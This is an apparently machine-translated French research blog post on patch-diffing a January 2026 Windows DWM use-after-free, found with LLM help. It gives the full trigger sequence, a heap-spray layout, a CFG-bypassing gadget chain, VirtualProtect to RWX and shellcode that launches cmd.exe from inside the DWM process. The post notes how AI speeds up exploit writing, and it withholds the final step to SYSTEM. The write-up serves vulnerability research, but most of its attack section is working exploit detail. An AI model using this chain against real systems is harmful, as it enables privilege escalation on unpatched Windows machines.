Joe Desimone

Patch diff vers SYSTEM

En s'appuyant sur les LLM et le patch diffing, cette recherche détaille une vulnérabilité Use-After-Free dans Windows DWM, démontrant un exploit fiable qui permet d'escalader les permissions d'un utilisateur faiblement privilégié jusqu'à SYSTEM.

9 minutes de lectureEnablement, Internals
Patch diff vers SYSTEM

Intro

Le patch diffing me fascine depuis longtemps. Je pense que c'est en partie dû à la course contre la montre, à l'inversion, à l'exploitation et à la tentative d'atteindre le statut d'exploit "1 jour". Pour les cibles Windows avancées, Valentina Palmiotti et Ruben Boonen ont prouvé que cela était déjà possible il y a près de 3 ans. Mais ils comptent parmi les développeurs d'exploits les plus talentueux au monde. Les LLM peuvent-ils élever le niveau des capacités pour les simples mortels que nous sommes ? Heureusement, et peut-être de manière un peu alarmante, la réponse est oui.

La chasse

Lorsque le bulletin du Patch Tuesday de janvier 2026 est tombé, j'ai commencé à chercher à identifier l'une des vulnérabilités corrigées et (avec un peu de chance) à mettre au point un programme d'exploitation. Les vulnérabilités déjà connues pour être exploitées dans la nature figuraient en tête de liste. Les correctifs de janvier comprenaient une vulnérabilité de fuite d'informations dans Desktop Window Manager (DWM), qui a attiré mon attention. Il comprend également une deuxième vulnérabilité DWM qui pourrait conduire à une escalade locale des privilèges. Historiquement, DWM a été une cible populaire pour l'escalade des privilèges locaux. Il est parfois difficile d'identifier le composant corrigé exact, mais pour DWM, dwmcore.dll est toujours une valeur sûre.

Après avoir entraîné Ghidra sur les fichiers et extrait les vecteurs BSim pour chaque fonction, il devient assez facile de mettre en évidence les différences entre elles. De plus, de nombreuses vulnérabilités corrigées par Microsoft sont accompagnées de nouvelles fonctionnalités. Inutile de dire qu'Opus 4.5 a rapidement fait le travail et a identifié l'une des vulnérabilités en l'espace de quelques minutes.

======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll 
======================================================================

----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
  dwmcore_vuln.dll                      dwmcore_patched.dll                        Sim  Jaccard
----------------------------------------------------------------------------------------------------
  FUN_1802e7842                         FUN_1802e7842                           0.1191   0.0632
  FUN_1802e92d6                         FUN_1802e92d6                           0.1470   0.0722
  FUN_1802e5faa                         FUN_1802e5faa                           0.1741   0.0769
  ~CDelegatedInkCanvas                  ~CDelegatedInkCanvas                    0.7556   0.6047
  GetBufferedOutputTransformed          GetBufferedOutputTransformed            0.7628   0.6154
  FrameStarted                          FrameStarted                            0.7833   0.6429
  ~CSynchronousSuperWetInk              ~CSynchronousSuperWetInk                0.8018   0.6667
  FUN_1802f5aa2                         FUN_1802f5aa2                           0.9127   0.8393
  FUN_1802f57d2                         FUN_1802f5d72                           0.9127   0.8393
======================================================================

À partir de là, je dois dire que le temps nécessaire à l'élaboration d'un exploit fonctionnel a été douloureusement plus lent que je ne l'aurais espéré. J'ai passé de longues nuits et de longs week-ends à faire avancer le modèle. Cela s'explique en grande partie par ma propre méconnaissance de la classe et du sous-système des bogues. Finalement, nous avons obtenu gain de cause et fait passer le RCE de l'état de faible privilège à l'état de DWM et de SYSTEM. Au cours de ce processus, j'ai découvert plusieurs nouvelles techniques d'exploitation, comme le spray GetRECT, de nouvelles chaînes de gadgets et un chemin DWM-to-SYSTEM. Toutefois, grâce à ces techniques (et à d'autres outils) et à des versions plus récentes comme Opus 4.6, le délai entre la découverte d'une vulnérabilité UAF dans DWM et l'exploitation fonctionnelle est passé de 3 semaines à quelques heures.

L'insecte

La vulnérabilité est un Use-After-Free dans CSynchronousSuperWetInk::~CSynchronousSuperWetInk. Le destructeur supprime conditionnellement l'objet de CSuperWetInkManager en fonction de la valeur de retour de IsSuperWetCompatible().

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    this->vtable = &_vftable_;
    bool bVar2 = IsSuperWetCompatible(this);
    if (bVar2) {
        CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
    }
    // ... cleanup continues
}

Le destructeur vulnérable de dwmcore.dll version 10.0.26100.7309.

Condition SuperWetCompatible

bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
    if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
        this->clipEntry != NULL && this->comObject != NULL) {
        return true;
    }
    return false;
}

La condition IsSuperWetCompatible dans dwmcore.dll version 10.0.26100.7309.

La fonction renvoie true uniquement si LookupMode est égal à 2, ou si notifier1 est défini, ET si clipEntry et comObject ne sont pas nuls.

L'insecte

Un attaquant peut

  1. Enregistrez un CSynchronousSuperWetInk auprès du gestionnaire (nécessite LookupMode=2 pendant Draw()).
  2. Remplacez LookupMode par 0 via CMD_SET_PROPERTY
  3. Déclencher la destruction via CMD_RELEASE_RESOURCE
  4. IsSuperWetCompatible() renvoie FALSE → RemoveSource() est ignoré
  5. Un pointeur en suspens reste dans CSuperWetInkManager::localStrokesVector

Lorsque le DWM itère ensuite ce vecteur (par exemple, dans DirtyActiveInk), il déréférence la table virtuelle de l'objet libéré, ce qui entraîne une exécution contrôlée du code.

La solution

Le correctif ajoute un indicateur de fonctionnalité (Feature_1732988217). Lorsque cette option est activée, RemoveSource() est appelé inconditionnellement, indépendamment de IsSuperWetCompatible(). Cela permet de s'assurer que l'objet est toujours correctement désenregistré du gestionnaire lors de sa destruction, ce qui élimine le pointeur qui traîne.

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    *(undefined ***)this = &_vftable_;
    bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
    if (!bVar2) {
        bVar2 = IsSuperWetCompatible(this);
        if (!bVar2) goto LAB_1802a9b1a;  // Skip RemoveSource only if feature disabled AND !compatible
    }
    CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
    // ... cleanup continues
}

Le destructeur corrigé dans dwmcore.dll version 10.0.26100.7623.

L'exploit

L'UAF peut être déclenché à partir d'une application ordinaire en mode utilisateur via l'API DirectComposition. L'attaque ne nécessite aucun privilège particulier.

Produits requis

  1. Infrastructure D3D11/DXGI: Créez un périphérique D3D11 avec support BGRA et une chaîne d'échange pour une fenêtre visible.
  2. Dispositif DirectComposition: Initialiser via DCompositionCreateDevice() avec le dispositif DXGI.
  3. NtDComposition Syscall Access: Accrochez ou appelez directement NtDCompositionProcessChannelBatchBuffer et NtDCompositionCommitChannel via win32u.dll pour injecter des commandes brutes de tampon de lot.

Séquence de déclenchement

Étape 1 : Création d'une piste d'encre (attribution de CSynchronousSuperWetInk)

Interrogez IDCompositionInkTrailDevice à partir du dispositif DirectComposition, puis appelez CreateDelegatedInkTrailForSwapChain() ou CreateDelegatedInkTrail(). Cette opération alloue un objet CSynchronousSuperWetInk (ressource de type 0xa8) dans le tas de dwm.exe.

Étape 2 : Créer un visuel et définir LookupMode=2

Injecter des commandes de tampon de lot à :

  1. Créez un CSuperWetInkVisual (type 0xa5) avec CMD_CREATE_RESOURCE (0x02)
  2. Connecter le visuel à la source d'encre : CMD_SET_REFERENCE (0x10) avec propId 0x34
  3. Définir LookupMode=2 sur la source d'encre via CMD_SET_PROPERTY (0x0B) avec propId 10
  4. Connexion à l'arbre de composition : CMD_SET_REFERENCE vers les handles 1 et 2 (composition target / marshaler) avec propId 0x34

LookupMode=2 garantit que IsSuperWetCompatible() renvoie TRUE pendant Draw(), qui enregistre l'objet avec CSuperWetInkManager::localStrokesVector.

Étape 3 : Rendre les images pour les enregistrer dans le gestionnaire

Présentez plusieurs images (IDXGISwapChain::Present) et effectuez les modifications de DirectComposition. Cela déclenche la boucle de rendu du DWM, qui fait appel à l'infrastructure de l'encre et enregistre le pointeur CSynchronousSuperWetInk dans le vecteur interne du gestionnaire.

Étape 4 : Définir LookupMode=0 (contourner le contrôle de suppression)

Injectez CMD_SET_PROPERTY pour transformer LookupMode en 0. Maintenant, IsSuperWetCompatible() renverra FALSE parce que :

if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)

Si LookupMode = 0 et qu'il n'y a pas de notificateur, la première condition n'est pas remplie.

Étape 5 : Relâcher la trace d'encre (créer un pointeur suspendu)

  1. Déconnexion des références visuelles : CMD_SET_REFERENCE avec refHandle=0 pour toutes les connexions
  2. Libérez l'interface IDCompositionDelegatedInkTrail

Lorsque le destructeur ~CSynchronousSuperWetInk s'exécute :

  • Il appelle IsSuperWetCompatible() qui renvoie FALSE (LookupMode=0).
  • RemoveSource() est SAUVEGARDE
  • L'objet est libéré mais son pointeur reste dans le fichier CSuperWetInkManager::localStrokesVector

Étape 6 : Déclencher DirtyActiveInk (Use-After-Free)

Continuez à présenter des cadres et à invalider la fenêtre. La boucle de composition du DWM appelle CSuperWetInkManager::DirtyActiveInk(), qui itère localStrokesVector et déréférence le pointeur en suspens :

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);

Comportement en cas d'accident

En l'absence d'une pulvérisation du tas, DWM se bloque lorsqu'il accède à la mémoire libérée :

 # Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a

Si la mémoire libérée est récupérée par un autre objet (par exemple, CInteractionTrackerScaleAnimation), le crash se produit à une table virtuelle inattendue :

kd> dps rcx
00000201`fbef65f0  00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24

En contrôlant les données qui récupèrent l'allocation libérée, un attaquant peut créer une fausse table virtuelle et obtenir une exécution de code arbitraire via l'appel virtuel à vtable+0x50.

Pulvérisation en tas

Pour exploiter l'UAF, nous devons récupérer l'allocation CSynchronousSuperWetInk libérée avec des données contrôlées par l'attaquant et contenant une fausse table virtuelle. Cette section décrit la technique de pulvérisation du tampon RECT de CRegionGeometry que nous appelons GetRECT.

Propriétés de l'objet cible

PropriétéValue (Valeur)
ObjetCSynchronousSuperWetInk
Taille0x120 (288 octets)
AllocateurDefaultHeap::AllocClearGetProcessHeap()
Seau LFH34 (plage de 273 à 288 octets)
Emplacements par sous-segment57

Spray Primitive : CRegionGeometry Tampon RECT

Le spray utilise les ressources CRegionGeometry (type 0x81) avec les données du tableau RECT :

PropriétéValue (Valeur)
Type de ressource0x81 (CRegionGeometry)
Taille du spray18 RECTs × 16 octets = 288 octets
Allocateurstd::_Allocate<16>HeapAlloc(GetProcessHeap(), 0, 288)
Seau LFH34, identique à l'objectif
Contrôle du contenu72 valeurs int32 (18 RECTs × 4 champs)

Chaîne d'allocation:

dcomp.dll:   SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase:  CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
             → std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)

Le tampon RECT est écrit via CMD_SET_BUFFER_PROPERTY (0x0F) avec propId 5:

struct CmdSetResourceBufferProperty {
    uint32_t cmdId;      // 0x0F
    uint32_t handle;     // Resource handle
    uint32_t propId;     // 5 for RECT array
    uint32_t dataSize;   // 288 for 18 RECTs
    // Variable-length RECT data follows (4-byte aligned)
};

Schéma RECT pour un faux objet

Les RECT 18 (288 octets) permettent un contrôle total de la mémoire récupérée :

struct SprayRECT {
    int32_t left;    // +0x00 within RECT
    int32_t top;     // +0x04
    int32_t right;   // +0x08
    int32_t bottom;  // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields

// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)

Aide à l'écriture de valeurs de 64 bits dans des champs RECT adjacents :

static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
    *lo = (int32_t)(val & 0xFFFFFFFF);
    *hi = (int32_t)(val >> 32);
}

Exploitation Primitive

L'UAF nous donne un appel de table virtuelle contrôlé avec RCX pointant vers notre objet pulvérisé. Lorsque DirtyActiveInk itère le pointeur en suspens :

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)();  // call [[spray]+0x50] with RCX = spray

Appeler la pile de sites :

00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c

État de l'enregistrement au moment de l'envoi :

  • RCX = pointeur sur l'objet pulvérisé (notre 288 bytes contrôlé)
  • RIP = [[spray]+0x50] (pointeur de fonction de la fausse table virtuelle)

Contraintes de la fonction cible

Il y a initialement deux restrictions sur ce que nous pouvons appeler :

  1. La cible doit figurer dans la carte bitmap CFG (marquée comme cible d'appel valide).
  2. La cible doit disposer d'un pointeur (dans l'IAT, la vtable ou une autre mémoire lisible).

Nous ne pouvons pas appeler directement des adresses arbitraires, mais seulement des fonctions qui satisfont aux deux conditions.

Chaîne de gadgets : __fnINSTRING + CStdAsyncStubBuffer2_Disconnect

L'UAF nous donnant un appel de table virtuelle contrôlé (RIP = [[spray]+0x50], RCX = spray), le défi restant est d'enchaîner des gadgets valides CFG pour obtenir une exécution de code arbitraire. L'exécution directe du shellcode est bloquée par le CFG, et nous n'avons pas de fuite d'adresses sur le tas. Nous avons mis au point une nouvelle chaîne de gadgets qui résout les deux problèmes pour parvenir à l'exécution du code, mais elle nécessite 2 tentatives d'exploitation réussies, ce qui réduit la fiabilité. Nous avons donc opté pour une technique publique connue utilisant deux gadgets DLL du système Windows : __fnINSTRING (user32.dll). et CStdAsyncStubBuffer2_Disconnect (combase.dll).

Étape 1 : __fnINSTRING - L'envoi de rappels du noyau sans fuite

Le noyau Windows communique avec le mode utilisateur par l'intermédiaire de KernelCallbackTable (KCT), une table de pointeurs de fonctions stockée dans le PEB à l'emplacement +0x58. Chaque entrée renvoie à un gestionnaire __fn* dans user32.dll. Ces fonctions sont des cibles d'appel valides pour le CFG et ont des pointeurs vers elles dans une mémoire lisible (le KCT lui-même), ce qui satisfait aux deux contraintes.

Nous faisons pointer la fausse table virtuelle sur &KCT[fnINSTRING_index] - 0x50. Lorsque DirtyActiveInk déréférence [[spray]+0x50], il lit l'entrée KCT et l'envoie à __fnINSTRING:

[[spray]+0x50]
  = [KCT_entry_addr - 0x50 + 0x50]
  = [KCT_entry_addr]
  = &__fnINSTRING

Ce qui est utile, c'est ce que fait __fnINSTRING en interne. Elle traite son argument (notre tampon de pulvérisation) comme une structure _CAPTUREBUF et appelle FixupCallbackPointers avant de lancer la fonction interne. FixupCallbackPointers lit une table de correction dans la mémoire tampon et convertit les décalages relatifs en adresses absolues en ajoutant l'adresse de base de la mémoire tampon :

// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
    if (buf->guard != 0) return;  // already fixed up - skip
    int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
    for (int i = 0; i < buf->fixupCount; i++) {
        int32_t* target = (int32_t*)((char*)buf + fixups[i]);
        *(uint64_t*)target += (uint64_t)buf;  // relative → absolute
    }
}

Cela élimine la nécessité d'une fuite d'adresse du tas. Nous intégrons les décalages relatifs dans le tampon de pulvérisation et FixupCallbackPointers les transforme en pointeurs absolus au moment de l'exécution en utilisant l'adresse propre du tampon. Après la correction, __fnINSTRING distribue le pointeur de fonction interne à +0x48 avec les arguments à +0x28 (RCX), +0x30 (EDX), +0x38 (R8) et +0x50 (R9).

Nous fixons la fonction interne à CStdAsyncStubBuffer2_Disconnect.

Étape 2 : CStdAsyncStubBuffer2_Disconnect - Deux appels de table virtuelle enchaînés

CStdAsyncStubBuffer2_Disconnect est exporté depuis combase.dll, ce qui lui confère une validité CFG et une adresse stable. Son désassemblage révèle une primitive utile : deux distributions séquentielles de tables virtuelles avec des registres d'arguments préservés :

; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV  RBX, RCX             ; save this
MOV  RCX, [RCX-8]         ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ   skip1
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x20]      ; vtable[4]
CALL guard_dispatch_icall  ; CALL #1: [[this-8]+0x20]  ← VirtualProtect

skip1:
XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ   skip2
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x10]      ; vtable[2]
CALL guard_dispatch_icall  ; CALL #2: [[[this+0x10]]+0x10]  ← shellcode

skip2:
ADD  RSP, 0x20
POP  RBX
RET

RDX, R8, et R9 sont préservés par les deux appels, et arrivent intacts de la configuration d'arguments de __fnINSTRING. Cela nous donne un contrôle total sur les trois premiers arguments des deux appels de vtable.

Appel de table virtuelle #1 : VirtualProtect → RWX

Nous construisons un faux objet autoréférentiel à l'adresse +0xC8 dans le tampon de pulvérisation : [+0xC8] pointe vers lui-même (après correction), de sorte que le déréférencement de [RCX] → [RCX+0x20] permet de lire l'adresse de VirtualProtect à partir de +0xE8. Les arguments (conservés à partir de l'envoi de __fnINSTRING ) sont les suivants :

S'inscrireValue (Valeur)Finalité
RCXbase+0xC8 (fake_obj_1)lpAddress (début de la région du tampon de pulvérisation)
RDX0x1000dwSize
R80x40flNewProtect (PAGE_EXECUTE_READWRITE)
R9base+0xC0lpflOldProtect (emplacement de sortie dans le tampon de pulvérisation)

Après cet appel, la page de mémoire du tampon de pulvérisation est marquée RWX, et le bitmap CFG est mis à jour pour permettre l'exécution à partir de cette région.

Appel de table virtuelle #2 : Shellcode en ligne

Après le retour de VirtualProtect, Disconnect charge [this+0x10] dans RCX pour la deuxième distribution de table virtuelle :

XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ   skip2                 ; non-zero → take the call
MOV  RAX, [RCX]            ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV  RAX, [RAX+0x10]       ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall   ; call base+0xD0

La chaîne des pointeurs se résout étape par étape :

  1. [this+0x10] = [base+0x90] = base+0xA0 (faux_obj_2)
  2. [RCX] = [base+0xA0] = base+0xA8, pointeur de table virtuelle de fake_obj_2 (après correction)
  3. [RAX+0x10] = [base+0xB8] = base+0xD0, troisième entrée de la table_2, pointant vers notre shellcode

Le dernier CALL guard_dispatch_icall envoie à base+0xD0, notre shellcode en ligne, qui est maintenant exécutable et valide du point de vue du CFG grâce à l'appel VirtualProtect précédent.

Disposition du shellcode

Le shellcode est divisé en deux phases parce que les données d'adresse VirtualProtect se trouvent à l'adresse +0xE8 (utilisée comme vtable_1[0x20] par l'appel n° 1), ce qui crée un vide au milieu de notre région exécutable :

Phase 1 (+0xD0, 22 octets) : Enregistre RCX (base+0xA0) dans RBX pour une arithmétique d'adresse ultérieure, alloue un espace d'ombre, charge SW_SHOW (5) dans RDX, charge l'adresse absolue de WinExec via movabs RAX, puis saute par-dessus l'espace de données de 8 octets à +0xE8:

mov  rbx, rcx              ; save base+0xA0 for address math
sub  rsp, 0x28             ; shadow space
push 5
pop  rdx                   ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp  +0x0A                 ; skip over +0xE8 data → land at +0xF0

Phase 2 (+0xF0) : Appelle WinExec avec un pointeur relatif RIPsur la chaîne "cmd.exe\0" intégrée à la fin du shellcode, désamorce le spray pour une réentrée sûre, puis effectue une correction de la pile pour revenir directement à la boucle de composition du DWM :

lea  rcx, [rip+0x22]      ; rcx = &"cmd.exe"
call rax                   ; WinExec("cmd.exe", SW_SHOW)

; Defuse: rewrite fake vtable so re-entry is harmless
lea  rax, [rbx+0x78]       ; rax = address of the ret below
mov  [rbx-0x48], rax       ; [base+0x58] = ret_gadget
lea  rax, [rbx-0x98]       ; rax = base+0x08
mov  [rbx-0xA0], rax       ; [base+0x00] = base+0x08 (new fake vtable)

; Stack fixup: skip Disconnect + __fnINSTRING return frames
add  rsp, 0xB8             ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor  eax, eax              ; zero return value
ret                        ; return directly to DWM composition loop
; "cmd.exe\0" embedded here

Le site add rsp, 0xB8 améliore la fiabilité. Un add rsp, 0x28 naïf renverrait dans le CStdAsyncStubBuffer2_Disconnect, qui renverrait ensuite dans le __fnINSTRING, qui appellerait le NtCallbackReturn. Ce chemin de retour du callback du noyau peut être fragile dans le contexte d'un appel détourné. En ajoutant une adresse 0x90 à l'ajustement de la pile, le shellcode passe entièrement les deux images intermédiaires et retourne directement à l'appelant de DirtyActiveInk dans la boucle de composition du DWM.

Réintégration en toute sécurité : Désamorcer la pulvérisation

Le site DirtyActiveInk du DWM peut itérer le pointeur suspendu plus d'une fois. Sans désamorçage, chaque rentrée dans l'atmosphère déclencherait à nouveau la chaîne complète et le crash. Le shellcode réécrit le pointeur de table virtuelle du spray de manière à ce que les déréférences ultérieures empruntent un chemin inoffensif :

  1. [base+0x00] est remplacée par base+0x08 (nouvelle fausse table virtuelle)
  2. [base+0x58] est remplacée par l'adresse d'une instruction ret

Lors de la réinsertion : [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. L'appel à la vtable est renvoyé immédiatement. __fnINSTRING n'est jamais ré-invoquée car la table virtuelle ne pointe plus vers l'entrée KCT.

Mise en place complète de l'épandage

Le tampon de pulvérisation complet de 288 octets (18 RECT) après FixupCallbackPointers:

DécalageTailleContenuFinalité
+0x008KCT_entry - 0x50Faux vtable → __fnINSTRING
+0x0848Nombre de réparations
+0x1840x58Décalage de la table de réparation
+0x208base (réparée)Garde (bloque la refixation)
+0x288base+0x80 (réparé)RCX → Déconnexion this
+0x3040x1000EDX → VirtualProtect dwSize
+0x3880x40R8 → PAGE_EXECUTE_READWRITE
+0x488&DéconnexionPointeur de fonction interne
+0x508base+0xC0 (réparé)R9 → lpflOldProtect
+0x5832tableau de réparation (8 entrées)Offsets to patch
+0x788base+0xC8 (réparé)[this-8] → fake_obj_1
+0x808(non utilisé)Déconnectez la base this
+0x908base+0xA0 (réparé)[this+0x10] → fake_obj_2
+0xA08base+0xA8 (réparé)fake_obj_2 vtable
+0xB88base+0xD0 (réparé)vtable_2[0x10] → shellcode
+0xC04(sortie)VirtualProtect lpflOldProtect
+0xC88base+0xC8 (réparé)Table v autoréférentielle (fake_obj_1)
+0xD022shellcode phase 1Sauvegarde des registres, chargement de WinExec, jmp
+0xE88&VirtualProtectvtable_1[0x20] données
+0xF048shellcode phase 2WinExec + defuse + stack fixup + "cmd.exe\0"

Résumé de la chaîne complète

DirtyActiveInk iterates dangling pointer
  → [[spray+0x00]+0x50] = __fnINSTRING(spray)
    → FixupCallbackPointers: 8 relative offsets → absolute
    → Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
      → Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
        → Spray buffer page is now RWX, CFG bitmap updated
      → Vtable call #2: shellcode at base+0xD0
        → WinExec("cmd.exe", SW_SHOW)
        → Defuse: rewrite vtable for safe re-entry
        → Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
      → RET directly to DWM composition loop
    → DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return

Le processus DWM s'exécute en tant qu'utilisateur DWM avec l'intégrité du système. Les techniques publiques antérieures permettant d'atteindre le SYSTÈME impliquent généralement le détournement de pointeurs de fonction mappés dans des processus clients privilégiés tels que LogonUI ou Consent. Cependant, il semble que cette technique ait été récemment corrigée, car la section partagée est désormais mappée en lecture seule. Nous avons mis au point une nouvelle voie alternative au SYSTÈME, mais nous avons choisi de ne pas publier la technique pour le moment.

Réflexions finales

Les modèles dont nous disposons aujourd'hui sont très performants pour accomplir des tâches qui, historiquement, nécessitaient une expertise approfondie cultivée pendant de nombreuses années. Il s'agit notamment de l'ingénierie inverse, de la découverte de vulnérabilités et de la mise au point d'exploits. Leurs capacités sont très limitées et ne rivalisent pas encore avec les meilleurs pays du monde dans ces domaines. Cependant, la progression des modèles ne semble pas vouloir ralentir pour l'instant. Cela permet aux défenseurs de jouer à armes égales, mais aussi aux attaquants d'accroître leurs capacités. Bien qu'il y ait toujours eu un jeu du chat et de la souris entre adversaires, et ce n'est pas nouveau à cet égard, les attaquants disposent au moins d'un avantage asymétrique à court terme pour utiliser ces outils à des fins malveillantes. Les attaquants peuvent agir plus rapidement, sans se soucier de la sûreté ou de la sécurité des systèmes d'IA. Les défenseurs doivent exploiter l'IA à des fins offensives contre leur code (pour les vulnérabilités), les produits de sécurité (pour les lacunes de détection) et leurs entreprises (émulation de l'adversaire) afin de trouver les faiblesses et d'améliorer les défenses avant que les attaquants ne le fassent. Malheureusement, ce sont les petites entreprises qui n'ont pas d'équipe de sécurité qui risquent de souffrir le plus à court terme. J'espère qu'à long terme, la communauté de la sécurité pourra ensemble dépasser les attaquants en matière de recherche offensive et défensive, et que nous sortirons de cette ère en meilleure position que nous ne l'avons commencée.

Partager cet article